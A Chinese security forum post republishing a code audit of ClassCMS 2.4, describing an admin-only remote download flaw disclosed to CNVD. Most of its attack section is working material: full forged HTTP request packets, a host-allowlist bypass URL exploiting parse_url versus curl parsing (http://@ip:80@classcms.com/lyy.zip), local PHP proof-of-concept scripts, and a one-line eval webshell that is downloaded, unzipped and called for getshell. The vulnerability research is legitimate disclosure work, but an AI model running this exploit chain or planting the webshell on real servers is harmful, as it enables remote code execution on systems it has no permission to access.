安全矩阵

 找回密码
 立即注册
搜索
查看: 3960|回复: 0

某CMS2.4代码审计

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-14 10:16:51 | 显示全部楼层 |阅读模式
原文链接:某CMS2.4代码审计

前言此次漏洞分析皆在本地测试,且漏洞已经提交至cnvd平台
漏洞url需要后台管理员权限
http:///ClassCMS/admin666?do=shop:downloadClass&ajax=1
漏洞点


先放掉第一个请求包
  1. POST /admin666?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1
  2. Host: classcms
  3. Content-Length: 43
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. X-Requested-With: XMLHttpRequest
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. Origin: http://classcms
  9. Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%95&action=detail&classhash=diyform
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9
  12. Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b
  13. Connection: close

  14. classhash=diyform&version=1.1&csrf=1547308b
复制代码


然后修改第二个请求包
  1. POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
  2. Host: classcms
  3. Content-Length: 85
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. X-Requested-With: XMLHttpRequest
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. Origin: http://192.168.159.1
  9. Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9
  12. Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00
  13. Connection: close

  14. classhash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=338ceb00
复制代码


参数解析
  •         classhash为解压出来的最后文件名
  •         url为了绕过过滤设成如下形式
                    http://@192.168.159.1:80@classcms.com/shell.zip远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包       
  •         csrf参数不动即可

发送之后返回:安装包格式错误,请重试
就说明已经成功被下载到目标服务器上并解压
最后访问url即可执行上传上的木马getshell
http://192.168.159.1/ClassCMS/class/{classhash的值}/{上传压缩包中的木马文件}
漏洞测试首先黑盒测试
在下载的第二个请求包中发现url参数解码为classcms官网的应用压缩包地址

  1. POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
  2. Host: classcms
  3. Content-Length: 140
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. X-Requested-With: XMLHttpRequest
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. Origin: http://classcms
  9. Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%95&action=detail&classhash=diyform
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9
  12. Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b
  13. Connection: close

  14. classhash=diyform&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.1%26classhash%3Ddiyform%26token%3D&csrf=1547308b
复制代码


可能存在远程下载
http://classcms.com/shop/?action=download&version=1.1&classhash=diyform&token=
尝试修改url,得到报错回显

Unicode解码得到 :下载失败
进行白盒测试
回到源码来,通过全局搜索报错提示(下载失败)定位到源码在/class/shop/shop.php中

一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass中
  1. function downloadClass() {
  2.         。。。。。。
  3.         if(!C('this:download',$url,$classfile)) {
  4.             Return C('cms:common:echoJson',array('msg'=>"下载失败",'error'=>1));
  5.         }
  6.         。。。。。。
  7.     }
复制代码


在this(当前文件shop.php)->download函数下,定位到关键函数
  1. function download($url,$filepath) {
  2.         $hosts=array_merge(explode(';',C('this:defaultHost')),array(config('host')));
  3.         if($defaulthost=config('defaulthost')) {
  4.             $hosts=array_merge($hosts,explode(';',$defaulthosts));
  5.         }
  6.         $checkurl=parse_url($url);
  7.         if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
  8.             Return false;
  9.         }
  10.         $curl=curl_init();
  11.         curl_setopt($curl,CURLOPT_URL,$url);
  12.         if(!$fp = @fopen ($filepath,'w+')) {
  13.             Return false;
  14.         }
  15.         curl_setopt($curl,CURLOPT_FILE, $fp);
  16.         curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
  17.         curl_setopt($curl,CURLOPT_TIMEOUT,300);
  18.         curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
  19.         curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
  20.         curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  21.         curl_setopt($curl,CURLOPT_POST,1);
  22.         curl_setopt($curl,CURLOPT_POSTFIELDS,C('this:shopInfo'));
  23.         $info=curl_exec($curl);
  24.         $httpinfo=curl_getinfo($curl);
  25.         curl_close($curl);
  26.         fclose($fp);
  27.         if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}
  28.         Return $info;
  29.     }
复制代码


函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中

只允许 classcms.com;classcms.uuu.la
​​
这里可以抓包调试一下,可以看到确实是获取了这两个根域(虽然数组是三个)

然后将我们传入的url (这里是http://192.168.159.1/1.txt) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令
if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {    Return false;        }前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可
这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过
  •         php-curl拓展解析的url host在第首个@之后
  •         而parse_url则是最后一个@之后

所以构造处payload
http://@192.168.159.1:80@classcms.com/1.zip
本地尝试绕过
  1. <?php
  2.     $hosts = ["classcms.com","classcms.uuu.la","classcms.com"];
  3.     $url = "http://@192.168.159.1:80@classcms.com/1.zip";
  4.     $checkurl = parse_url($url);
  5.     var_dump($checkurl);
  6.     if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
  7.         echo "nono!";
  8.     }else{
  9.         echo "success!";
  10.     }
  11. ?>
复制代码


成功绕过

绕过之后尝试执行curl

  1. <?php
  2.     $hosts = ["classcms.com","classcms.uuu.la","classcms.com"];
  3.     $url = "http://@192.168.159.1:80@classcms.com/1.zip";
  4.     $checkurl = parse_url($url);
  5.     //var_dump($checkurl);
  6.     if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
  7.         echo "nono!";
  8.     }else{
  9.         echo "success!";
  10.         $curl=curl_init();
  11.         curl_setopt($curl,CURLOPT_URL,$url);
  12.         curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
  13.         curl_setopt($curl,CURLOPT_TIMEOUT,300);
  14.         curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
  15.         curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
  16.         curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  17.         curl_setopt($curl,CURLOPT_POST,1);
  18.         $info=curl_exec($curl);
  19.         $httpinfo=curl_getinfo($curl);
  20.         var_dump($info,$httpinfo);
  21.         curl_close($curl);}
  22. ?>
复制代码


成功执行curl完成远程下载

那么构造一个木马文件 lyy.php
<?php phpinfo();@eval($_POST['lyy']);?>
压缩成zip文件 lyy.zip 然后构造请求包
  1. POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
  2. Host: classcms
  3. Content-Length: 66
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. X-Requested-With: XMLHttpRequest
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. Origin: http://classcms
  9. Referer: http://classcms/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9
  12. Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b;
  13. Connection: close

  14. classhash=test&url=http://@192.168.159.1:80@classcms.com/lyy.zip&csrf=1547308b
复制代码


可以看到已经成功绕过那个if条件,并且执行curl下载成功(返回true)

虽然最后还是报错安装包格式错误,请重试
但是可以看到他在unzip方法处理后的if中而不是else中,说明已经成功下载并解压

而cms目录下的class.php中的unzip也很简单

  1. function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)     {
  2.     if(class_exists('ZipArchive')) {
  3.         $zip = new ZipArchive;
  4.         if ($zip->open($src_file) === TRUE)            {
  5.             if(@$zip->extractTo($dest_dir)) {
  6.                 $zip->close();
  7.                 Return true;               
  8.             }
  9.             $zip->close();
  10.         }      
  11.         。。。
  12.     }
复制代码


  •         $src_file就是D:\phpStudy\PHPTutorial\WWW\ClassCMS\cache\shop\89a5f4d7d35347db4dd558079c11a612.class

    •                 是curl之后产生的一个临时文件

           
  •         $dest_dir就是D:\phpStudy\PHPTutorial\WWW\ClassCMS\class\test\

    •                 /class/{classhash参数值}的目录

           
所以函数的作用就是存在ZipArchive类(php_zip拓展,默认开启)时,解压临时文件内容到/class/{classhash参数值}的目录
所以最后木马文件的访问执行payload为
http://ClassCMS/class/{classhash的值}/{上传压缩包中的木马文件}这里为http://ClassCMS/class/test/lyy.php
成功执行代码并getshell


后记这个漏洞是php curl 和 parse_url的解析差异导致的,是2017年blackhat上orange师傅的: A New Era of SSRF 中提到的
在较新版本的curl(curl>=7.54.0)中已经修复了多个@的解析问题,使用多个@会报错
由于没有找到php和curl对应版本资料(哪位大师傅知道可以告诉我),这里我测试了phpstudy上的所有php版本,下面两个已经修复



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 19:17 , Processed in 0.015578 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表